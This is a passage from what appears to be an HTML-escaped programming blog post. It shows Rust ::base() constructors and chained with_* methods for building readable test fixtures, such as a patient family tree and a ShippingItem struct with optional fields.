&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Function did not return True for patient who should be at risk!&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The advantages of this approach become even clearer when working with&#xA;tests that require many associated structs. For example, consider this&#xA;code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;patient&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Person::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Gender::Male)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.with_father(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.with_mother(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;3&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.with_children(&amp;amp;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;4&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;5&amp;#34;&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.with_age(&lt;span style=&#34;color:#00f&#34;&gt;53&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;father&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Person::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Gender::Male).deceased_at(&lt;span style=&#34;color:#00f&#34;&gt;84&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;mother&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Person::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;3&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Gender::Female).with_medical_history(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;MedicalHistory::base()&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.and_diagnosis(Diagnosis::base(DiagnosisType::CommonCold).at_age(&lt;span style=&#34;color:#00f&#34;&gt;32&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.and_diagnosis(Diagnosis::base(DiagnosisType::AvianFlu)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;.with_treatment(Treatment::base(Treatment::SomeFluTreatment))));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;child1&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Person::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;4&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Gender::Female);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;child2&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Person::base(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;5&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Gender::Female)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;.with_mutation(GeneticMutation::BlueHairAllele_pg5s77);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is a &lt;em&gt;lot&lt;/em&gt; of information! We’ve effectively defined a DAG (a&#xA;family tree) in fewer lines than our original test, and it’s trivial to&#xA;read through this.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;“Who’s the father?” “Oh, he’s a male who died at 84.”&lt;/p&gt;&#xA;&lt;p&gt;“Who’s the mother?” “She’s a woman who got the cold at 32 and was&#xA;treated for avian flu.”&lt;/p&gt;&#xA;&lt;p&gt;“Who’s the patient?” “He’s a 53 year old man with two children.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The critical idea here is that the API doesn’t require specifying that&#xA;you &lt;em&gt;don’t&lt;/em&gt; have some information; rather, you use methods to specify&#xA;which pieces of information you &lt;em&gt;do&lt;/em&gt; have.&lt;/p&gt;&#xA;&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;&#xA;&lt;p&gt;Implementation of these methods is efficient and straightforward in&#xA;Rust, using the aforementioned update syntax. Consider the following&#xA;struct:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;volume: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;condition: Option&amp;lt;Condition&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;sender: Option&amp;lt;String&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;recipient: Option&amp;lt;String&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;certified: Option&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bool&lt;/span&gt;&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;contents: Option&amp;lt;Vec&amp;lt;InventoryObject&amp;gt;&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// et cetera&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This struct has 1 required field and several optional fields. Because of&#xA;the required field, just implementing &lt;code&gt;Default&lt;/code&gt; isn’t an option, so the&#xA;&lt;code&gt;::base()&lt;/code&gt; method is the way to go:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; base(volume: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;volume,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;condition: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;sender: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;recipient: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;certified: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;contents: None,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, for each basic &lt;code&gt;Option&lt;/code&gt;al field, we’ll add a method. This includes&#xA;&lt;code&gt;condition&lt;/code&gt;, &lt;code&gt;sender&lt;/code&gt;, and &lt;code&gt;recipient&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; with_condition(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;cond: Condition)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;condition: cond,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; with_sender(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;sender: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;str&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;sender: sender.into(),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; with_recipient(self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;recipient: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;str&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;recipient: recipient.into(),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each of these takes ownership of &lt;code&gt;self&lt;/code&gt; and returns a new&#xA;&lt;code&gt;ShippingItem&lt;/code&gt;, allowing the creation of long sentence-like&#xA;descriptions.&lt;/p&gt;&#xA;&lt;p&gt;For boolean values, two methods are preferrable.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; certified(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ShippingItem&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;certified: Some(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;..self&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; not_certified(self)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span 